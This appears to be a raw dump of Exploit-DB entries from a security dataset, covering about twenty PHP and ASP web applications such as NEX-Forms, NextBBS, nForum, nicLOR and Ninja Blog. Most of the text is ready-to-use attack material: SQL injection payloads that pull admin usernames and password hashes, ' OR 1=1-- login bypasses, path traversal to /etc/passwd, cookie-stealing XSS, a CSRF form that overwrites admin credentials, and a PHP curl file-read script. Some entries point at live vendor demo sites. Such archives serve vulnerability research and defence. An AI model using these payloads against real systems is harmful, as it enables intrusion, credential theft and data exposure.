deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51042
Description: NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi
Type: webapps
Platform: php
Date: 2023-03-25
Author: Elias Hohl

Exploit:
# Exploit Title: NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi
# Exploit Author: Elias Hohl
# Date: 2022-08-01
# Vendor Homepage: https://basixonline.net
# Software Link: https://wordpress.org/plugins/nex-forms-express-wp-form-builder/
# Tested on: Ubuntu 20.04
# CVE : CVE-2022-3142

Authenticated SQL injection vulnerability in the "NEX Forms" Wordpress plugin

https://medium.com/@elias.hohl/authenticated-sql-injection-vulnerability-in-nex-forms-wordpress-plugin-35b8558dd0f5

1. Start a new Wordpress instance using docker-compose.

2. Install the NEX Forms plugin.

3. Open the URL "/wp-admin/admin.php?page=nex-forms-dashboard&form_id=1" in your browser. Save the request to "nex-forms-req.txt" via Burp Suite.

4. Execute the following command: sqlmap -r nex_forms_req.txt -p form_id --technique=T --dbms=mysql --level 5 --risk 3
sqlmap will find a time-based blind payload:


Parameter: form_id (GET)
    Type: time-based blind
    Title: MySQL >=5.0.12 AND time-based blind (query SLEEP)
    Payload: page=nex-forms-dashboard&form_id=1 AND (SELECT 4715 FROM (SELECT(SLEEP(5)))nPUi)
Exploit-DB #28580
Description: NextAge Cart - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-09-13
Author: meto5757

Exploit:
source: https://www.securityfocus.com/bid/20040/info

NextAge Cart is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/[path]/index.php?main=category&sub=product&CatId=[xss]
http://www.example.com/[path]/index.php?SearchOpt=1&main=search&sub=index&SearchWd=[xss]
Exploit-DB #27734
Description: NextAge Shopping Cart - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2006-04-25
Author: R@1D3N

Exploit:
source: https://www.securityfocus.com/bid/17685/info

NextAge Shopping Cart is prone to multiple HTML-injection vulnerabilities; the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

<form method="pst" action="http://www.example.com/[admin_Path]/index.php">
<input type="text" name="txtuserid" class="INPUT" size="30" value="xss injection code">
<br>
<input type="password" name="txtpass" class="INPUT" size="30" value="xss injection code">
<br>
<input <input type="submit" value="submit" class="button">
</form>
Exploit-DB #37012
Description: NextBBS 0.6 - 'ajaxserver.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-03-27
Author: waraxe

Exploit:
source: https://www.securityfocus.com/bid/52728/info

NextBBS is prone to multiple SQL-injection vulnerabilities, a cross-site scripting vulnerability, and an authentication-bypass vulnerability.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and bypass the authentication process to gain unauthorized access to the system.

NextBBS 0.6.0 is vulnerable; other versions may also be affected. 

http://www.example.com/nextbbs.0.6.0/?do=ajaxserver&action=findusers&curstr=war%2527axe
http://www.example.com/nextbbs.0.6.0/?do=ajaxserver&action=isidavailable&id=war%2527axe
http://www.example.com/nextbbs.0.6.0/?do=ajaxserver&action=getgreetings&username=war%2527axe
Exploit-DB #37013
Description: NextBBS 0.6 - 'index.php?do' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-03-27
Author: waraxe

Exploit:
source: https://www.securityfocus.com/bid/52728/info
 
NextBBS is prone to multiple SQL-injection vulnerabilities, a cross-site scripting vulnerability, and an authentication-bypass vulnerability.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and bypass the authentication process to gain unauthorized access to the system.
 
NextBBS 0.6.0 is vulnerable; other versions may also be affected. 

http://www.example.com/nextbbs.0.6.0/index.php?do=<body+onload=alert(document.cookie);>
Exploit-DB #17946
Description: NexusPHP 1.5 - SQL Injection
Type: webapps
Platform: php
Date: 2011-10-08
Author: flyh4t

Exploit:
# Exploit Title: Nexusphp.v1.5 SQL injection Vulnerability
# Google Dork: intitle:nexusphp
# Date: 2011-10-08
# Author: flyh4t
# Software Link: http://sourceforge.net/projects/nexusphp/
# Version: nexusphp.v1.5
# Tested on: linux+apache
# CVE : CVE-2011-4026


Nexusphp is BitTorrent private tracker scripts written in PHP 
The codes is here http://sourceforge.net/projects/nexusphp/
There is a sql injectiong Vulnerability in thanks.php.
 
-----------------------vul code-------------------
//thanks.php
if ($_GET['id'])
 stderr("Party is over!", "This trick doesn't work anymore. You need to click the button!");
$userid = $CURUSER["id"];
$torrentid = $_POST["id"];
$tsql = sql_query("SELECT owner FROM torrents where id=$torrentid");
$arr = mysql_fetch_array($tsql);
-----------------------vul code end-------------------
 
 $_POST["id"] is not checked, lead a sql injection Vulnerability

-----------------------exploit-------------------

_POST[id] : -1 union select version()>4/*

-----------------------exploit end -------------------
Exploit-DB #8170
Description: nForum 1.5 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-03-09
Author: Salvatore Fresta

Exploit:
*******   Salvatore "drosophila" Fresta   *******

[+] Application: nForum
[+] Version: 1.5
[+] Website: http://sourceforge.net/projects/nforum/

[+] Bugs: [A] Multiple SQL Injection

[+] Exploitation: Remote
[+] Date: 06 Mar 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Multiple SQL Injection

[-] Requisites: magic_quotes_gpc = off
[-] File affected: showtheme.php, userinfo.php

These bugs allows a guest to view username and 
the password of a registered user.


*************************************************

[+] Code


- [A] Multiple SQL Injection

http://www.site.com/path/showtheme.php?id=-1' UNION ALL SELECT 1,2,CONCAT(name, 0x3a, passwd_hash),NULL,5,6,7 FROM users%23

http://www.site.com/path/userinfo.php?user=-1' UNION ALL SELECT 1,2,3,4,5,6,7,8,CONCAT(name, 0x3a, passwd_hash),10,11,12 FROM users%23


*************************************************

[+] Fix

No fix.


*************************************************

# milw0rm.com [2009-03-09]
Exploit-DB #41103
Description: NGO Directory Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: NGO Directory Script
# Script Buy Now: http://www.popularclones.com/products/NGO-Directory-Script
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Authentication Bypass :
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection/Exploit :
# http://localhost/[PATH]/admin/add_country.php?countryid=[SQL]
# http://localhost/[PATH]/admin/states_add.php?state_id=[SQL]
# http://localhost/[PATH]/admin/cities_add.php?cityid=[SQL]
# http://localhost/[PATH]/admin/request_add.php?request_id=[SQL]
# http://localhost/[PATH]/admin/good_category_add.php?goods_cat_id=[SQL]
# http://localhost/[PATH]/details_religios.html?project_id=[SQL]
# http://localhost/[PATH]/details.html?project_id=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
Exploit-DB #41105
Description: NGO Website Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: NGO Website Script
# Script Buy Now: http://www.popularclones.com/products/NGO-Website-Script
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Authentication Bypass :
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection/Exploit :
# http://localhost/[PATH]/admin/addnew.event.php?id=[SQL]
# http://localhost/[PATH]/admin/add_new_photo.php?id=[SQL]
# http://localhost/[PATH]/admin/add_new_project.php?id=[SQL]
# http://localhost/[PATH]/admin/add_new_video.php?id=[SQL]
# http://localhost/[PATH]/admin/addnew.activity.php?id=[SQL]
# http://localhost/[PATH]/admin/addblog.php?id=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
Exploit-DB #35865
Description: Nibbleblog 3 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-06-19
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/48339/info

Nibbleblog is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Nibbleblog 3.0 is affected; other versions may also be vulnerable. 

http://www.example.com/index.php?page=[SQLi]
http://www.example.com/post.php?idpost=[SQLi]
Exploit-DB #7018
Description: NICE FAQ Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-06
Author: r45c4l

Exploit:
################################################################ 
#       .___             __          _______       .___        # 
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    # 
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   # 
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   # 
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   # 
#        \/                  \/             \/                 # 
#                   ___________   ______  _  __                # 
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                # 
#                 \  \___|  | \/\  ___/\     /                 # 
#                  \___  >__|    \___  >\/\_/                  # 
#      est.2007        \/            \/   forum.darkc0de.com   # 
################################################################ 
# --d3hydr8 -rsauron-baltazar -sinner_01 -C1c4Tr1Z - beenu     # 
#- Nik-P47tr1ck- FeDeReR -MAGE -JeTFyrE- DON-Outlawz           #
#        and all darkc0de and DarkTrix members               --# 
################################################################ 
# 
# Author: r45c4l 
# 
# Home  : www.darkc0de.com & darktrix.info
# 
# Email : r45c4l@hotmail.com 
# 
# Share the c0de! 
# 
################################################################ 
# 
# Title: NICE FAQ Script (Auth Bypass) SQl Injection Vulnerability
# 
# 
###########################################################
#
# Script Vendor: http://www.nicephpscripts.com/PHP-FAQ-Script-Knowledgebase-Script.htm
#
###########################################################
 
     Go To Admin Panel :

       Login With this information :

	Admin : Admin

	pass  : ' OR 1=1--


    Live Demo : 

	http://www.nicephpscripts.com/scripts/faqscript/admin/


###########################################################
#
#  Bug discovered : 06 Nov 2008
###########################################################

# milw0rm.com [2008-11-06]
Exploit-DB #43071
Description: Nice PHP FAQ Script - 'nice_theme' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Nice PHP FAQ Script - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.nicephpscripts.com/
# Software http://www.nicephpscripts.com/demo_php_script-PHP-FAQ-Script-Knowledgebase-Script.htm
# Demo: http://www.nicephpscripts.com/scripts/faqscript/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15988
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/index.php?nice_theme=[SQL]
# 
# Parameter: nice_theme (GET)
#     Type: boolean-based blind
#     Title: AND boolean-based blind - WHERE or HAVING clause
#     Payload: nice_theme=3 AND 5083=5083
# 
# Etc..
# # # # #
Exploit-DB #4762
Description: nicLOR CMS - 'sezione_news.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-12-21
Author: x0kster

Exploit:
Name            :  nicLOR-CMS SQL Injection Vulnerability.
Author          :  x0kster
Email           :  x0kster@gmail.com
Script Download :  http://www.niclor.net/prodotti/16-04-06-niclor_cms.zip
Date            :  21/12/2007

#SQL Injection in sezione_news.php

   <?php
   [...]
   $intSezioneID = $_GET['id'];
   [...]
   $strSQL = "SELECT articolo.intArticoloID, "
           . "[...]"        
           . " HAVING articolo.intSezioneID = $intSezioneID"
           . "[...]";
   [...]
   ?>

  So we can exploit the $intSezioneID and execute an sql injection.

  PoC:
  http://example.com/nicLOR-CMS/index.php?page=sezione&id=-1+union+select+1,concat(strUser,0x3a,strPass)+from+login/*

  And then we'll get the username and the hash of the admin.

# milw0rm.com [2007-12-21]
Exploit-DB #6979
Description: nicLOR Puglia Landscape - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-11-04
Author: StAkeR

Exploit:
/*
   ---------------------------------------------------
   Puglia_Landscape Local File Inclusion Vulnerability
   ---------------------------------------------------
   Discovered By StAkeR[at]hotmail[dot]it
   http://www.niclor.net/prodotti/Puglia_Landscape
   ---------------------------------------------------
   
   * Local File Inclusion
   * Note: Magic_Quotes_GPC Off
   
   - index.php?id=../../../../../../../[Local File and NullByte]
   - index.php?id=../../../../../../../etc/passwd%00
   
   * Demo
   - http://www.niclor.net/prodotti/Puglia_Landscape/index.php?id=../../../../../../../etc/passwd%00
 
   

*/

# milw0rm.com [2008-11-04]
Exploit-DB #6990
Description: nicLOR Sito - includefile Local File Inclusion
Type: webapps
Platform: php
Date: 2008-11-04
Author: StAkeR

Exploit:
# ------------------------------------------------------------
# Sito includefile in PHP Local File Inclusion Vulnerabilities
# ------------------------------------------------------------
# Discovered By StAkeR[at]hotmail[dot]it
# Download On http://www.niclor.net/prodotti/include_Sito_PHP/include_Sito_PHP.zip
# -----------------------------------------------------------

# File (includefile.php)
# Register Globals On
1. <? 
2. if (($page != "") or ($page == "home")) {
3.    include "pagine/$page_file";
4. } else {
5.    include "pagine/home.php";
6. }
7. ?>

# includefile.php?page=athos&page_file=../../../../../../etc/passwd

# File (index.php)
# Magic_Quotes_GPC
# index.php?id=../../../../../etc/passwd%00 

# milw0rm.com [2008-11-04]
Exploit-DB #7351
Description: nightfall personal diary 1.0 - Cross-Site Scripting / File Disclosure
Type: webapps
Platform: php
Date: 2008-12-05
Author: AlpHaNiX

Exploit:
###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################


---------------------------- Tunisian Muslim ------------------------------

#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org

#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : NightFall
#download : http://iwrite.brinkster.net/nightfall.zip



#Exploits :

--=[XSS]=--
in the login page /login.asp write in the login fields your evil codes


--=[Database Disclosure]=--
http://target.com/db/users-zza21.mdb



#special thanks for syst3m and crimeirc staff

###########################################################################

# milw0rm.com [2008-12-05]
Exploit-DB #37329
Description: Nilehoster Topics Viewer 2.3 - Multiple SQL Injections / Local File Inclusion
Type: webapps
Platform: php
Date: 2012-05-27
Author: n4ss1m

Exploit:
source: https://www.securityfocus.com/bid/53708/info

Nilehoster Topics Viewer is prone to multiple SQL-injection vulnerabilities and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. By using directory-traversal strings to execute local script code in the context of the application, the attacker may be able to obtain sensitive information that may aid in further attacks.

Topics Viewer 2.3 is vulnerable; other versions may also be affected. 

http://www.example.com//search.php?q=[SQLi]

http://www.example.com//lost.php/ [SQLi]

http://www.example.com/footer.php? [LFI]
Exploit-DB #31083
Description: Nilson's Blogger 0.11 - 'comments.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-01-31
Author: muuratsalo

Exploit:
source: https://www.securityfocus.com/bid/27559/info

Nilson's Blogger is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to include local files in the context of the webserver process. This may allow the attacker to obtain potentially sensitive information; other attacks are also possible.

This issue affects Nilson's Blogger 0.11; other versions may also be vulnerable. 

http://www.example.com/comments.php?thispost=../../../../../../../../../../etc/passwd
Exploit-DB #42648
Description: Nimble Professional 1.0 - Cross-Site Request Forgery (Update Admin)
Type: webapps
Platform: php
Date: 2017-09-11
Author: Ihsan Sencan

Exploit:
<!--
# # # # # 
# Exploit Title: Nimble Professional - Mobile Marketing Text Blast Web Application 1.0 - Cross-Site Request Forgery (Update Admin)
# Dork: N/A
# Date: 11.09.2017
# Vendor Homepage: http://ranksol.com/
# Software Link: http://www.mojomarketplace.com/item/nimble-pro
# Demo: http://demo.ranksol.com/demos/nimble-messaging-bulk-sms-marketing-application-for-business-pro-version/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# 
# Proof of Concept:
-->
<html>
<body>
<label>Edit Profile:</label>
<form method="post" class="form-horizontal" action="http://localhost/[PATH]/ajax.php">
<label>Admin Name:</label>
<input type="text" name="name" style="width: 400px;" value="Admin">
<label>Admin Email:</label>
<input type="text" name="email" style="width: 400px;" value="a@a.com">
<label>Admin Password:</label>
<input type="text" name="pass" style="width: 400px;" value="efe">
<button type="submit" class="btn  btn-success" >Save Profile</button>
<input type="hidden" name="cmd" value="save_profile">
</form>
</body>
</html>
Exploit-DB #7834
Description: Ninja Blog 4.8 - Cross-Site Request Forgery/HTML Injection
Type: webapps
Platform: php
Date: 2009-01-19
Author: Danny Moules

Exploit:
Vendor: http://ninjadesigns.co.uk
Version(s): Ninja Blog 4.8 (May also affect earlier versions)
Credit: Danny Moules
Critical: Yes

See PUSH 55 Advisory at https://www.push55.co.uk/index.php?s=ad&id=7

----

Due to insufficient validation of client-side data, we can inject script directly into the file-based storage used for blog comments.

When making a new comment, we simply fill the "posted" hidden field's value with...

<script>alert('xss');<script>"

...for an XSS attack OR...

<script>window.location="http://bank.example/withdraw?account=bob&amount=1000000&for=mallory"</script>

...for a CRSF attack and otherwise submit the comment as usual.

Whenever that comment is viewed, the script is executed.

# milw0rm.com [2009-01-19]
Exploit-DB #7831
Description: Ninja Blog 4.8 - Remote Information Disclosure
Type: webapps
Platform: php
Date: 2009-01-19
Author: Danny Moules

Exploit:
Vendor: http://ninjadesigns.co.uk
Version(s): Ninja Blog 4.8 (May also affect earlier versions)
Credit: Danny Moules
Critical: Yes

See PUSH 55 Advisory at http://www.push55.co.uk/index.php?s=ad&id=6

----

Due to insufficient validation of client-side data, we can alter the path of files to be read to a file outside the intended directory.

The following PoC will read a file named 'test.txt' one level above the application folder.

---

<?php

$strToRead = "../../test.txt%00"; //Designates 'test.txt', sat one level above the application folder, to be read
$strSite = "http://www.example.com/ninjablog4.8/"; //Don't forget the trailing slash

$objCurl = curl_init();
curl_setopt($objCurl, CURLOPT_URL, $strSite."entries/index.php?cat=".$strToRead);
curl_setopt($objCurl, CURLOPT_RETURNTRANSFER, true);

echo("Getting data...\n");
$strDump = curl_exec($objCurl);

curl_close($objCurl);

echo("<div style=\"border: solid 2px black; padding: 10px; margin: 10px;\">$strDump</div>\n");

?>

# milw0rm.com [2009-01-19]
Exploit-DB #11740
Description: Ninja RSS Syndicator 1.0.8 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-03-15
Author: jdc

Exploit:
Joomla component Ninja RSS Syndicator 1.0.8 Local File Include
Version     : 1.0.8
Author      : jdc
Download : 
http://ninjaforge.com/index.php?option=com_ninjacentral&page=show_package&id=74&Itemid=236

http://site/index.php?option=com_ninjarsssyndicator&controller=../../../../../etc/passwd%00

jdc 2010